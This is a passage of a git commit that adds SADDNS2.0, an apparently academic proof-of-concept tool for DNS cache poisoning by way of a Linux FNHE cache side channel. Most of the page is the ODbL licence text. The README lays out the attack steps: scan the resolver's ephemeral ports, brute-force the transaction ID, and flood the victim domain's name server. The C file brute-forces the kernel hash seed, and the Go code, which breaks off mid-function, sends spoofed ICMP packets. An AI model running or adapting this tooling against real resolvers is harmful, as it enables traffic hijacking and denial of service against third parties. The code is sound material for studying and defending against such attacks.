summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authormkyybx <[email protected]>2022-12-15 15:02:03 -0800
committermkyybx <[email protected]>2022-12-15 15:02:03 -0800
commita6b5e618c14a5e900f10259e26461f3b6dc44c66 (patch)
treee23e7cc8da2c59a6a9934d24b898e82639c204f9
First Commit
-rw-r--r--LICENCE540
-rw-r--r--README.md82
-rw-r--r--guessSeed4.c212
-rw-r--r--src/ucr.edu/SADDNS2.0/GuessSeed.go517
-rw-r--r--src/ucr.edu/SADDNS2.0/Library.go790
-rw-r--r--src/ucr.edu/SADDNS2.0/dns.go281
-rw-r--r--src/ucr.edu/SADDNS2.0/main.go1317
7 files changed, 3739 insertions, 0 deletions
diff --git a/LICENCE b/LICENCE
new file mode 100644
index 0000000..f82cb53
--- /dev/null
+++ b/LICENCE
@@ -0,0 +1,540 @@
+## ODC Open Database License (ODbL)
+
+### Preamble
+
+The Open Database License (ODbL) is a license agreement intended to
+allow users to freely share, modify, and use this Database while
+maintaining this same freedom for others. Many databases are covered by
+copyright, and therefore this document licenses these rights. Some
+jurisdictions, mainly in the European Union, have specific rights that
+cover databases, and so the ODbL addresses these rights, too. Finally,
+the ODbL is also an agreement in contract for users of this Database to
+act in certain ways in return for accessing this Database.
+
+Databases can contain a wide variety of types of content (images,
+audiovisual material, and sounds all in the same database, for example),
+and so the ODbL only governs the rights over the Database, and not the
+contents of the Database individually. Licensors should use the ODbL
+together with another license for the contents, if the contents have a
+single set of rights that uniformly covers all of the contents. If the
+contents have multiple sets of different rights, Licensors should
+describe what rights govern what contents together in the individual
+record or in some other way that clarifies what rights apply.
+
+Sometimes the contents of a database, or the database itself, can be
+covered by other rights not addressed here (such as private contracts,
+trade mark over the name, or privacy rights / data protection rights
+over information in the contents), and so you are advised that you may
+have to consult other documents or clear other rights before doing
+activities not covered by this License.
+
+------
+
+The Licensor (as defined below)
+
+and
+
+You (as defined below)
+
+agree as follows:
+
+### 1.0 Definitions of Capitalised Words
+
+"Collective Database" – Means this Database in unmodified form as part
+of a collection of independent databases in themselves that together are
+assembled into a collective whole. A work that constitutes a Collective
+Database will not be considered a Derivative Database.
+
+"Convey" – As a verb, means Using the Database, a Derivative Database,
+or the Database as part of a Collective Database in any way that enables
+a Person to make or receive copies of the Database or a Derivative
+Database. Conveying does not include interaction with a user through a
+computer network, or creating and Using a Produced Work, where no
+transfer of a copy of the Database or a Derivative Database occurs.
+"Contents" – The contents of this Database, which includes the
+information, independent works, or other material collected into the
+Database. For example, the contents of the Database could be factual
+data or works such as images, audiovisual material, text, or sounds.
+
+"Database" – A collection of material (the Contents) arranged in a
+systematic or methodical way and individually accessible by electronic
+or other means offered under the terms of this License.
+
+"Database Directive" – Means Directive 96/9/EC of the European
+Parliament and of the Council of 11 March 1996 on the legal protection
+of databases, as amended or succeeded.
+
+"Database Right" – Means rights resulting from the Chapter III ("sui
+generis") rights in the Database Directive (as amended and as transposed
+by member states), which includes the Extraction and Re-utilisation of
+the whole or a Substantial part of the Contents, as well as any similar
+rights available in the relevant jurisdiction under Section 10.4.
+
+"Derivative Database" – Means a database based upon the Database, and
+includes any translation, adaptation, arrangement, modification, or any
+other alteration of the Database or of a Substantial part of the
+Contents. This includes, but is not limited to, Extracting or
+Re-utilising the whole or a Substantial part of the Contents in a new
+Database.
+
+"Extraction" – Means the permanent or temporary transfer of all or a
+Substantial part of the Contents to another medium by any means or in
+any form.
+
+"License" – Means this license agreement and is both a license of rights
+such as copyright and Database Rights and an agreement in contract.
+
+"Licensor" – Means the Person that offers the Database under the terms
+of this License.
+
+"Person" – Means a natural or legal person or a body of persons
+corporate or incorporate.
+
+"Produced Work" – a work (such as an image, audiovisual material, text,
+or sounds) resulting from using the whole or a Substantial part of the
+Contents (via a search or other query) from this Database, a Derivative
+Database, or this Database as part of a Collective Database.
+
+"Publicly" – means to Persons other than You or under Your control by
+either more than 50% ownership or by the power to direct their
+activities (such as contracting with an independent consultant).
+
+"Re-utilisation" – means any form of making available to the public all
+or a Substantial part of the Contents by the distribution of copies, by
+renting, by online or other forms of transmission.
+
+"Substantial" – Means substantial in terms of quantity or quality or a
+combination of both. The repeated and systematic Extraction or
+Re-utilisation of insubstantial parts of the Contents may amount to the
+Extraction or Re-utilisation of a Substantial part of the Contents.
+
+"Use" – As a verb, means doing any act that is restricted by copyright
+or Database Rights whether in the original medium or any other; and
+includes without limitation distributing, copying, publicly performing,
+publicly displaying, and preparing derivative works of the Database, as
+well as modifying the Database as may be technically necessary to use it
+in a different mode or format.
+
+"You" – Means a Person exercising rights under this License who has not
+previously violated the terms of this License with respect to the
+Database, or who has received express permission from the Licensor to
+exercise rights under this License despite a previous violation.
+
+Words in the singular include the plural and vice versa.
+
+### 2.0 What this License covers
+
+2.1. Legal effect of this document. This License is:
+
+ a. A license of applicable copyright and neighbouring rights;
+
+ b. A license of the Database Right; and
+
+ c. An agreement in contract between You and the Licensor.
+
+2.2 Legal rights covered. This License covers the legal rights in the
+Database, including:
+
+ a. Copyright. Any copyright or neighbouring rights in the Database.
+ The copyright licensed includes any individual elements of the
+ Database, but does not cover the copyright over the Contents
+ independent of this Database. See Section 2.4 for details. Copyright
+ law varies between jurisdictions, but is likely to cover: the Database
+ model or schema, which is the structure, arrangement, and organisation
+ of the Database, and can also include the Database tables and table
+ indexes; the data entry and output sheets; and the Field names of
+ Contents stored in the Database;
+
+ b. Database Rights. Database Rights only extend to the Extraction and
+ Re-utilisation of the whole or a Substantial part of the Contents.
+ Database Rights can apply even when there is no copyright over the
+ Database. Database Rights can also apply when the Contents are removed
+ from the Database and are selected and arranged in a way that would
+ not infringe any applicable copyright; and
+
+ c. Contract. This is an agreement between You and the Licensor for
+ access to the Database. In return you agree to certain conditions of
+ use on this access as outlined in this License.
+
+2.3 Rights not covered.
+
+ a. This License does not apply to computer programs used in the making
+ or operation of the Database;
+
+ b. This License does not cover any patents over the Contents or the
+ Database; and
+
+ c. This License does not cover any trademarks associated with the
+ Database.
+
+2.4 Relationship to Contents in the Database. The individual items of
+the Contents contained in this Database may be covered by other rights,
+including copyright, patent, data protection, privacy, or personality
+rights, and this License does not cover any rights (other than Database
+Rights or in contract) in individual Contents contained in the Database.
+For example, if used on a Database of images (the Contents), this
+License would not apply to copyright over individual images, which could
+have their own separate licenses, or one single license covering all of
+the rights over the images.
+
+### 3.0 Rights granted
+
+3.1 Subject to the terms and conditions of this License, the Licensor
+grants to You a worldwide, royalty-free, non-exclusive, terminable (but
+only under Section 9) license to Use the Database for the duration of
+any applicable copyright and Database Rights. These rights explicitly
+include commercial use, and do not exclude any field of endeavour. To
+the extent possible in the relevant jurisdiction, these rights may be
+exercised in all media and formats whether now known or created in the
+future.
+
+The rights granted cover, for example:
+
+ a. Extraction and Re-utilisation of the whole or a Substantial part of
+ the Contents;
+
+ b. Creation of Derivative Databases;
+
+ c. Creation of Collective Databases;
+
+ d. Creation of temporary or permanent reproductions by any means and
+ in any form, in whole or in part, including of any Derivative
+ Databases or as a part of Collective Databases; and
+
+ e. Distribution, communication, display, lending, making available, or
+ performance to the public by any means and in any form, in whole or in
+ part, including of any Derivative Database or as a part of Collective
+ Databases.
+
+3.2 Compulsory license schemes. For the avoidance of doubt:
+
+ a. Non-waivable compulsory license schemes. In those jurisdictions in
+ which the right to collect royalties through any statutory or
+ compulsory licensing scheme cannot be waived, the Licensor reserves
+ the exclusive right to collect such royalties for any exercise by You
+ of the rights granted under this License;
+
+ b. Waivable compulsory license schemes. In those jurisdictions in
+ which the right to collect royalties through any statutory or
+ compulsory licensing scheme can be waived, the Licensor waives the
+ exclusive right to collect such royalties for any exercise by You of
+ the rights granted under this License; and,
+
+ c. Voluntary license schemes. The Licensor waives the right to collect
+ royalties, whether individually or, in the event that the Licensor is
+ a member of a collecting society that administers voluntary licensing
+ schemes, via that society, from any exercise by You of the rights
+ granted under this License.
+
+3.3 The right to release the Database under different terms, or to stop
+distributing or making available the Database, is reserved. Note that
+this Database may be multiple-licensed, and so You may have the choice
+of using alternative licenses for this Database. Subject to Section
+10.4, all other rights not expressly granted by Licensor are reserved.
+
+### 4.0 Conditions of Use
+
+4.1 The rights granted in Section 3 above are expressly made subject to
+Your complying with the following conditions of use. These are important
+conditions of this License, and if You fail to follow them, You will be
+in material breach of its terms.
+
+4.2 Notices. If You Publicly Convey this Database, any Derivative
+Database, or the Database as part of a Collective Database, then You
+must:
+
+ a. Do so only under the terms of this License or another license
+ permitted under Section 4.4;
+
+ b. Include a copy of this License (or, as applicable, a license
+ permitted under Section 4.4) or its Uniform Resource Identifier (URI)
+ with the Database or Derivative Database, including both in the
+ Database or Derivative Database and in any relevant documentation; and
+
+ c. Keep intact any copyright or Database Right notices and notices
+ that refer to this License.
+
+ d. If it is not possible to put the required notices in a particular
+ file due to its structure, then You must include the notices in a
+ location (such as a relevant directory) where users would be likely to
+ look for it.
+
+4.3 Notice for using output (Contents). Creating and Using a Produced
+Work does not require the notice in Section 4.2. However, if you
+Publicly Use a Produced Work, You must include a notice associated with
+the Produced Work reasonably calculated to make any Person that uses,
+views, accesses, interacts with, or is otherwise exposed to the Produced
+Work aware that Content was obtained from the Database, Derivative
+Database, or the Database as part of a Collective Database, and that it
+is available under this License.
+
+ a. Example notice. The following text will satisfy notice under
+ Section 4.3:
+
+ Contains information from DATABASE NAME, which is made available
+ here under the Open Database License (ODbL).
+
+DATABASE NAME should be replaced with the name of the Database and a
+hyperlink to the URI of the Database. "Open Database License" should
+contain a hyperlink to the URI of the text of this License. If
+hyperlinks are not possible, You should include the plain text of the
+required URI's with the above notice.
+
+4.4 Share alike.
+
+ a. Any Derivative Database that You Publicly Use must be only under
+ the terms of:
+
+ i. This License;
+
+ ii. A later version of this License similar in spirit to this
+ License; or
+
+ iii. A compatible license.
+
+ If You license the Derivative Database under one of the licenses
+ mentioned in (iii), You must comply with the terms of that license.
+
+ b. For the avoidance of doubt, Extraction or Re-utilisation of the
+ whole or a Substantial part of the Contents into a new database is a
+ Derivative Database and must comply with Section 4.4.
+
+ c. Derivative Databases and Produced Works. A Derivative Database is
+ Publicly Used and so must comply with Section 4.4. if a Produced Work
+ created from the Derivative Database is Publicly Used.
+
+ d. Share Alike and additional Contents. For the avoidance of doubt,
+ You must not add Contents to Derivative Databases under Section 4.4 a
+ that are incompatible with the rights granted under this License.
+
+ e. Compatible licenses. Licensors may authorise a proxy to determine
+ compatible licenses under Section 4.4 a iii. If they do so, the
+ authorised proxy's public statement of acceptance of a compatible
+ license grants You permission to use the compatible license.
+
+
+4.5 Limits of Share Alike. The requirements of Section 4.4 do not apply
+in the following:
+
+ a. For the avoidance of doubt, You are not required to license
+ Collective Databases under this License if You incorporate this
+ Database or a Derivative Database in the collection, but this License
+ still applies to this Database or a Derivative Database as a part of
+ the Collective Database;
+
+ b. Using this Database, a Derivative Database, or this Database as
+ part of a Collective Database to create a Produced Work does not
+ create a Derivative Database for purposes of Section 4.4; and
+
+ c. Use of a Derivative Database internally within an organisation is
+ not to the public and therefore does not fall under the requirements
+ of Section 4.4.
+
+4.6 Access to Derivative Databases. If You Publicly Use a Derivative
+Database or a Produced Work from a Derivative Database, You must also
+offer to recipients of the Derivative Database or Produced Work a copy
+in a machine readable form of:
+
+ a. The entire Derivative Database; or
+
+ b. A file containing all of the alterations made to the Database or
+ the method of making the alterations to the Database (such as an
+ algorithm), including any additional Contents, that make up all the
+ differences between the Database and the Derivative Database.
+
+The Derivative Database (under a.) or alteration file (under b.) must be
+available at no more than a reasonable production cost for physical
+distributions and free of charge if distributed over the internet.
+
+4.7 Technological measures and additional terms
+
+ a. This License does not allow You to impose (except subject to
+ Section 4.7 b.) any terms or any technological measures on the
+ Database, a Derivative Database, or the whole or a Substantial part of
+ the Contents that alter or restrict the terms of this License, or any
+ rights granted under it, or have the effect or intent of restricting
+ the ability of any person to exercise those rights.
+
+ b. Parallel distribution. You may impose terms or technological
+ measures on the Database, a Derivative Database, or the whole or a
+ Substantial part of the Contents (a "Restricted Database") in
+ contravention of Section 4.74 a. only if You also make a copy of the
+ Database or a Derivative Database available to the recipient of the
+ Restricted Database:
+
+ i. That is available without additional fee;
+
+ ii. That is available in a medium that does not alter or restrict
+ the terms of this License, or any rights granted under it, or have
+ the effect or intent of restricting the ability of any person to
+ exercise those rights (an "Unrestricted Database"); and
+
+ iii. The Unrestricted Database is at least as accessible to the
+ recipient as a practical matter as the Restricted Database.
+
+ c. For the avoidance of doubt, You may place this Database or a
+ Derivative Database in an authenticated environment, behind a
+ password, or within a similar access control scheme provided that You
+ do not alter or restrict the terms of this License or any rights
+ granted under it or have the effect or intent of restricting the
+ ability of any person to exercise those rights.
+
+4.8 Licensing of others. You may not sublicense the Database. Each time
+You communicate the Database, the whole or Substantial part of the
+Contents, or any Derivative Database to anyone else in any way, the
+Licensor offers to the recipient a license to the Database on the same
+terms and conditions as this License. You are not responsible for
+enforcing compliance by third parties with this License, but You may
+enforce any rights that You have over a Derivative Database. You are
+solely responsible for any modifications of a Derivative Database made
+by You or another Person at Your direction. You may not impose any
+further restrictions on the exercise of the rights granted or affirmed
+under this License.
+
+### 5.0 Moral rights
+
+5.1 Moral rights. This section covers moral rights, including any rights
+to be identified as the author of the Database or to object to treatment
+that would otherwise prejudice the author's honour and reputation, or
+any other derogatory treatment:
+
+ a. For jurisdictions allowing waiver of moral rights, Licensor waives
+ all moral rights that Licensor may have in the Database to the fullest
+ extent possible by the law of the relevant jurisdiction under Section
+ 10.4;
+
+ b. If waiver of moral rights under Section 5.1 a in the relevant
+ jurisdiction is not possible, Licensor agrees not to assert any moral
+ rights over the Database and waives all claims in moral rights to the
+ fullest extent possible by the law of the relevant jurisdiction under
+ Section 10.4; and
+
+ c. For jurisdictions not allowing waiver or an agreement not to assert
+ moral rights under Section 5.1 a and b, the author may retain their
+ moral rights over certain aspects of the Database.
+
+Please note that some jurisdictions do not allow for the waiver of moral
+rights, and so moral rights may still subsist over the Database in some
+jurisdictions.
+
+### 6.0 Fair dealing, Database exceptions, and other rights not affected
+
+6.1 This License does not affect any rights that You or anyone else may
+independently have under any applicable law to make any use of this
+Database, including without limitation:
+
+ a. Exceptions to the Database Right including: Extraction of Contents
+ from non-electronic Databases for private purposes, Extraction for
+ purposes of illustration for teaching or scientific research, and
+ Extraction or Re-utilisation for public security or an administrative
+ or judicial procedure.
+
+ b. Fair dealing, fair use, or any other legally recognised limitation
+ or exception to infringement of copyright or other applicable laws.
+
+6.2 This License does not affect any rights of lawful users to Extract
+and Re-utilise insubstantial parts of the Contents, evaluated
+quantitatively or qualitatively, for any purposes whatsoever, including
+creating a Derivative Database (subject to other rights over the
+Contents, see Section 2.4). The repeated and systematic Extraction or
+Re-utilisation of insubstantial parts of the Contents may however amount
+to the Extraction or Re-utilisation of a Substantial part of the
+Contents.
+
+### 7.0 Warranties and Disclaimer
+
+7.1 The Database is licensed by the Licensor "as is" and without any
+warranty of any kind, either express, implied, or arising by statute,
+custom, course of dealing, or trade usage. Licensor specifically
+disclaims any and all implied warranties or conditions of title,
+non-infringement, accuracy or completeness, the presence or absence of
+errors, fitness for a particular purpose, merchantability, or otherwise.
+Some jurisdictions do not allow the exclusion of implied warranties, so
+this exclusion may not apply to You.
+
+### 8.0 Limitation of liability
+
+8.1 Subject to any liability that may not be excluded or limited by law,
+the Licensor is not liable for, and expressly excludes, all liability
+for loss or damage however and whenever caused to anyone by any use
+under this License, whether by You or by anyone else, and whether caused
+by any fault on the part of the Licensor or not. This exclusion of
+liability includes, but is not limited to, any special, incidental,
+consequential, punitive, or exemplary damages such as loss of revenue,
+data, anticipated profits, and lost business. This exclusion applies
+even if the Licensor has been advised of the possibility of such
+damages.
+
+8.2 If liability may not be excluded by law, it is limited to actual and
+direct financial loss to the extent it is caused by proved negligence on
+the part of the Licensor.
+
+### 9.0 Termination of Your rights under this License
+
+9.1 Any breach by You of the terms and conditions of this License
+automatically terminates this License with immediate effect and without
+notice to You. For the avoidance of doubt, Persons who have received the
+Database, the whole or a Substantial part of the Contents, Derivative
+Databases, or the Database as part of a Collective Database from You
+under this License will not have their licenses terminated provided
+their use is in full compliance with this License or a license granted
+under Section 4.8 of this License. Sections 1, 2, 7, 8, 9 and 10 will
+survive any termination of this License.
+
+9.2 If You are not in breach of the terms of this License, the Licensor
+will not terminate Your rights under it.
+
+9.3 Unless terminated under Section 9.1, this License is granted to You
+for the duration of applicable rights in the Database.
+
+9.4 Reinstatement of rights. If you cease any breach of the terms and
+conditions of this License, then your full rights under this License
+will be reinstated:
+
+ a. Provisionally and subject to permanent termination until the 60th
+ day after cessation of breach;
+
+ b. Permanently on the 60th day after cessation of breach unless
+ otherwise reasonably notified by the Licensor; or
+
+ c. Permanently if reasonably notified by the Licensor of the
+ violation, this is the first time You have received notice of
+ violation of this License from the Licensor, and You cure the
+ violation prior to 30 days after your receipt of the notice.
+
+Persons subject to permanent termination of rights are not eligible to
+be a recipient and receive a license under Section 4.8.
+
+9.5 Notwithstanding the above, Licensor reserves the right to release
+the Database under different license terms or to stop distributing or
+making available the Database. Releasing the Database under different
+license terms or stopping the distribution of the Database will not
+withdraw this License (or any other license that has been, or is
+required to be, granted under the terms of this License), and this
+License will continue in full force and effect unless terminated as
+stated above.
+
+### 10.0 General
+
+10.1 If any provision of this License is held to be invalid or
+unenforceable, that must not affect the validity or enforceability of
+the remainder of the terms and conditions of this License and each
+remaining provision of this License shall be valid and enforced to the
+fullest extent permitted by law.
+
+10.2 This License is the entire agreement between the parties with
+respect to the rights granted here over the Database. It replaces any
+earlier understandings, agreements or representations with respect to
+the Database.
+
+10.3 If You are in breach of the terms of this License, You will not be
+entitled to rely on the terms of this License or to complain of any
+breach by the Licensor.
+
+10.4 Choice of law. This License takes effect in and will be governed by
+the laws of the relevant jurisdiction in which the License terms are
+sought to be enforced. If the standard suite of rights granted under
+applicable copyright law and Database Rights in the relevant
+jurisdiction includes additional rights not granted under this License,
+these additional rights are granted in this License in order to meet the
+terms of this License. \ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..5af3dcf
--- /dev/null
+++ b/README.md
@@ -0,0 +1,82 @@
+# SADDNS2.0: DNS Cache Poisoning Attack: Resurrections with Side Channels
+
+## Introduction
+**SADDNS2.0** is a tool for launching the **DNS cache poisoning attack**. It infers the ephemeral port number and brute forces the TxID by exploiting ***F**orwarding Information Base(FIB) **N**ext **H**op **E**xception(FNHE)* cache as a side channel.
+
+This is a different side channel cache poisoning attack derived from [SADDNS](https://github.com/seclab-ucr/SADDNS). Most code usage may remain the same.
+
+## How it works
+1. Scan ephemeral ports opened by the resolver.
+2. Brute force TxID.
+
+The side channel leverages the hash table storing fnhe entry as a shared resource (between the **spoofed** and non-spoofed IPs), which controls whether an IP packet should be fragmented or not. This gives the off-path attacker the ability to identify whether previous **spoofed** ICMP fragment needed packets were accepted or not, which further indicates whether the guessed port is correct or not.
+
+The following figure shows the detail of inferring ephemeral ports.
+
+![Off-path port scanning](https://www.saddns.net/attack2.svg)
+
+### Why spoofed IP is still necessary?
+- Compared with [SADDNS](https://github.com/seclab-ucr/SADDNS), SADDNS2.0 uses embedded UDP packet to scan open port and therefore no IP spoofing is needed during the scanning phase.
+- IP spoofing is still required for injecting rogue responses.
+
+## Additional resources
+
+### Publication
+
+[**DNS Cache Poisoning Attack: Resurrections with Side Channels**](https://doi.org/10.1145/3460120.3486219)
+
+Keyu Man, Xin'an Zhou, Zhiyun Qian
+
+*In Proceedings of ACM Conference on Computer and Communications Security (CCS`21), November 15-19, 2021, Virtual Event, Republic of Korea.*
+
+### Website
+
+[**SADDNS**](https://www.saddns.net)
+
+## How to run
+
+### Requirements
+
+- An IP-spoofing-capable host (preferably Linux. Windows is ok but suffers from low performance.).
+- A domain (attacker-controlled name server)
+- Other things needed to make clear:
+ - The resolver to poison (victim resolver)
+ - The domain to poison (victim domain)
+ - *The **victim domain**'s record will be poisoned on the **victim resolver**.*
+
+### Overview
+
+- Determine the attack type (e.g., public or private port, fragment needed or redirect packet as the payload).
+- Guess the seed/key of FNHE hsah table if private port is used.
+- Flood query traffic to mute the name server of the victim domain (see [SADDNS](https://github.com/seclab-ucr/SADDNS) repo for flooding scripts).
+- Run attack program to guess the port number and TxID automatically.
+
+### Steps
+
+1. Compile
+
+ ```go build ucr.edu/SADDNS2.0```(requires ```gopacket``` and ```libpcap```)
+
+2. Seed guessing (only required when probing private ports)
+
+ See the paper for details. ```GuessSeed.go``` provides methods to send out seed guessing packets. ```guessSeed4.c``` implements hash guessing functions to guess the seed.
+
+4. Start flooding
+
+ ```./dns_query.sh &```(requires ```hping3```)
+
+ Please see the comment in the file for usage.
+
+5. Start attacking (flooding is still in progress)
+
+ ```sudo ./saddns [args]```
+
+ Run ```./saddns -h``` for usage.
+
+```attack.sh``` is a sample script for finish the whole PoC (both Step 2 & 3) including the verification of the poisoned result. It's a demonstrative script and please modify the code accordingly (it **won't** run by default).
+
+
+## Questions and issues
+
+Please submit them by opening a new issue.
+
diff --git a/guessSeed4.c b/guessSeed4.c
new file mode 100644
index 0000000..d68abdb
--- /dev/null
+++ b/guessSeed4.c
@@ -0,0 +1,212 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <time.h>
+#define _CRT_SECURE_NO_WARNINGS
+
+#define __be32 unsigned int
+#define u32 unsigned int
+
+unsigned int swap(unsigned int x) {
+ unsigned char* t0 = (unsigned char*)&x;
+ unsigned ret = 0;
+ unsigned char* t1 = (unsigned char*)&ret;
+ for (int i = 0; i < 4; i++) {
+ t1[i] = t0[3 - i];
+ }
+ return ret;
+}
+
+#define GOLDEN_RATIO_PRIME_32 0x9e370001UL
+static inline u32 hash_32(u32 val, unsigned int bits)
+{
+ /* On some cpus multiply is faster, on others gcc will do shifts */
+ u32 hash = val * GOLDEN_RATIO_PRIME_32;
+
+ /* High bits are more random, so use them. */
+ return hash >> (32 - bits);
+}
+
+
+static inline u32 rol32(u32 word, unsigned int shift)
+{
+ return (word << shift) | (word >> (32 - shift));
+}
+
+#define JHASH_INITVAL 0xdeadbeef
+
+/* __jhash_final - final mixing of 3 32-bit values (a,b,c) into c */
+#define __jhash_final(a, b, c) \
+{ \
+ c ^= b; c -= rol32(b, 14); \
+ a ^= c; a -= rol32(c, 11); \
+ b ^= a; b -= rol32(a, 25); \
+ c ^= b; c -= rol32(b, 16); \
+ a ^= c; a -= rol32(c, 4); \
+ b ^= a; b -= rol32(a, 14); \
+ c ^= b; c -= rol32(b, 24); \
+}
+
+static inline u32 jhash_3words(u32 a, u32 b, u32 c, u32 initval)
+{
+ a += JHASH_INITVAL;
+ b += JHASH_INITVAL;
+ c += initval;
+
+ __jhash_final(a, b, c);
+
+ return c;
+}
+
+static inline u32 jhash_1word(u32 a, u32 initval)
+{
+ return jhash_3words(a, 0, 0, initval);
+}
+#define FNHE_HASH_SHIFT 11
+static inline u32 fnhe_hashfun(__be32 daddr, u32 fnhe_hashrnd)
+{
+ u32 hval;
+
+ hval = jhash_1word((u32) daddr, fnhe_hashrnd);
+ return hash_32(hval, FNHE_HASH_SHIFT);
+}
+
+unsigned char testedIP[5000][4];
+int testedIPCount = 0; //input
+unsigned int removedIPNum[20];
+int removedIPCount = 0; //input
+
+// probably race condition here
+unsigned int results[20];
+int resultCount = 0; //output
+int finished[12]; //in and output
+
+
+//(gdb) print seed
+//$1 = 0xdeadbeef
+void guess_seed3(int tasknum, int totalNum) {
+ unsigned int total_task = 0xffffffff;
+ unsigned int start = 0x0000 + total_task / totalNum * tasknum;
+ unsigned int end = 0x0000 + total_task / totalNum * (tasknum + 1);
+ printf("Seed guessing %u(%uM)-%u(%uM) begin\n", start, start / 1000000, end, end / 1000000);
+ for (unsigned int seed = start; seed < end; seed++) {
+ // if (seed % 10000000 == 0) {
+ // printf("%u: %u/%u (%.2f)\n", tasknum, (seed - start) / 1000000, (end - start) / 1000000, ((float)(seed - start)) / (end - start));
+ // }
+ int bucket[2048][6];
+ int bucketPtr[2048];
+ memset(bucket, -1, 2048 * 6 * sizeof(int));
+ memset(bucketPtr, 0, 2048 * sizeof(int));
+ unsigned int currentRemovedIPNum[20];
+ int currentRemovedIPCount = 0;
+ int currentRemovedIPFull = 0;
+
+ for (int i = 0; i < testedIPCount; i++) {
+ int slot = fnhe_hashfun(*(__be32*)(testedIP[i]), seed);
+ int foundSlot = 0;
+ if (currentRemovedIPFull) {
+ break;
+ }
+ int bucketSlot = bucketPtr[slot];
+ if (bucketSlot < 6) {
+ bucket[slot][bucketSlot] = i;
+ foundSlot = 1;
+ bucketPtr[slot]++;
+ }
+ // for (int j = 0; j < 6; j++) {
+ // if (bucket[slot][j] == -1) {
+ // bucket[slot][j] = i;
+ // foundSlot = 1;
+ // break;
+ // }
+ // }
+ if (!foundSlot) {
+ if (currentRemovedIPCount == removedIPCount) {
+ currentRemovedIPFull = 1;
+ break;
+ }
+ currentRemovedIPNum[currentRemovedIPCount++] = bucket[slot][0];
+ int foundMatch = 0;
+ for (int l = 0; l < removedIPCount; l++) {
+ if (removedIPNum[l] == bucket[slot][0]) {
+ foundMatch = 1;
+ break;
+ }
+ }
+ if (!foundMatch) {
+ break;
+ }
+ //printf("removed: %d.%d.%d.%d@bkt %d\n", testedIP[bucket[slot][0]][0], testedIP[bucket[slot][0]][1], testedIP[bucket[slot][0]][2], testedIP[bucket[slot][0]][3], slot);
+ for (int k = 1; k < 6; k++) {
+ bucket[slot][k - 1] = bucket[slot][k];
+ }
+ bucket[slot][5] = i;
+ }
+ }
+
+ if (!currentRemovedIPFull && currentRemovedIPCount == removedIPCount) {
+ unsigned int originalSum = 0;
+ unsigned int newSum = 0;
+ for (int i = 0; i < removedIPCount; i++) {
+ originalSum += removedIPNum[i];
+ newSum += currentRemovedIPNum[i];
+ }
+ if (originalSum == newSum) {
+ // sync problem?
+ results[resultCount++] = seed;
+ printf("seed=%u\n", seed);
+ }
+ if (resultCount == 10) {
+ break;
+ }
+ }
+ }
+ // finished[tasknum] = 1;
+}
+
+void guess_seed3_input(int argc, char** argv) {
+ if (argc < 4) {
+ printf("argc < 4, error\n");
+ return;
+ }
+ int tasknum = atoi(argv[1]);
+ int totalNum = atoi(argv[2]);
+ FILE* f = fopen(argv[3], "r");
+ if (f == 0) {
+ printf("file open err, exiting...\n");
+ return;
+ }
+ // testedIPCount
+ fscanf(f, "%d", &testedIPCount);
+ // n tested IP: de ad be ff
+ for (int i = 0; i < testedIPCount; i++) {
+ for (int j = 0; j < 4; j++) {
+ fscanf(f, "%x", &testedIP[i][j]);
+ }
+ }
+ // removedIPCount
+ fscanf(f, "%d", &removedIPCount);
+ // m removedIP: 1 2 3
+ for (int i = 0; i < removedIPCount; i++) {
+ fscanf(f, "%d", &removedIPNum[i]);
+ }
+ fclose(f);
+
+ // multi-processing
+ guess_seed3(tasknum, totalNum);
+
+ printf("seeds=");
+ for (int i = 0; i < resultCount; i++) {
+ printf("%x ", results[i]);
+ }
+ printf("\n");
+
+}
+
+int main(int argc, char** argv) {
+
+ guess_seed3_input(argc, argv);
+ return 0;
+
+}
+
diff --git a/src/ucr.edu/SADDNS2.0/GuessSeed.go b/src/ucr.edu/SADDNS2.0/GuessSeed.go
new file mode 100644
index 0000000..fc174e9
--- /dev/null
+++ b/src/ucr.edu/SADDNS2.0/GuessSeed.go
@@ -0,0 +1,517 @@
+package main
+
+import "C"
+import (
+ "fmt"
+ "github.com/google/gopacket/layers"
+ "math/rand"
+ "net"
+ "os"
+ "sort"
+ "time"
+)
+
+var guessSeedMode = false
+var guessSeedMacMode = false
+var ipNoFragMap = make(map[string]bool)
+var macIPMap = make(map[string]net.IP)
+
+func guessSeed2(checkPoint int, dstIP net.IP, delay uint, mtu uint16, garbage []byte, waitTime uint) {
+ var ICMPinCache = make(map[string]bool)
+ var sendingIP net.IP
+ sendingIP = make([]byte, 16)
+ copy(sendingIP, localIPv6Subnet.IP)
+ v6 := CheckIPv6(sendingIP)
+
+ // prepare layers
+ ipLayer := GetIPLayer(sendingIP, dstIP, false, 0, layers.IPProtocolICMPv6)
+ fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6)
+ innerIPLayer := GetIPLayer(sendingIP, dstIP, true, 0, layers.IPProtocolICMPv6)
+ echoReplyLayer0, echoReplyLayer1 := GetICMPPingLayer(0, 0, v6)
+ echoLayer0, echoLayer1 := GetICMPPingLayer(0, 0, v6)
+
+ for {
+ sendingIPs := make([]net.IP, 0)
+ for i := 0; i < checkPoint; i++ {
+ // increase the IP
+ IncreaseIPv6Addr(sendingIP, 1, 0)
+ // plant new exceptions
+ XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay)
+ // record it
+ var tempIP net.IP
+ tempIP = make([]byte, 16)
+ copy(tempIP, sendingIP)
+ sendingIPs = append(sendingIPs, tempIP)
+ }
+ // check previous exceptions
+ guessSeedMode = true
+ for ip, _ := range ICMPinCache {
+ checkIPLayer := GetIPLayer(net.ParseIP(ip), dstIP, false, 0, layers.IPProtocolICMPv6)
+ XmitICMP(h, eth, checkIPLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay)
+ }
+ // check new exceptions
+ for i := 0; i < checkPoint; i++ {
+ checkIPLayer := GetIPLayer(sendingIPs[i], dstIP, false, 0, layers.IPProtocolICMPv6)
+ XmitICMP(h, eth, checkIPLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay)
+ }
+ // wait for response
+ waitTimeout := false
+ var waitCycles uint = 0
+ for {
+ if len(ipNoFragMap) < len(ICMPinCache)+checkPoint {
+ time.Sleep(time.Millisecond)
+ waitCycles++
+ if waitCycles > waitTime {
+ waitTimeout = true
+ break
+ }
+ } else {
+ break
+ }
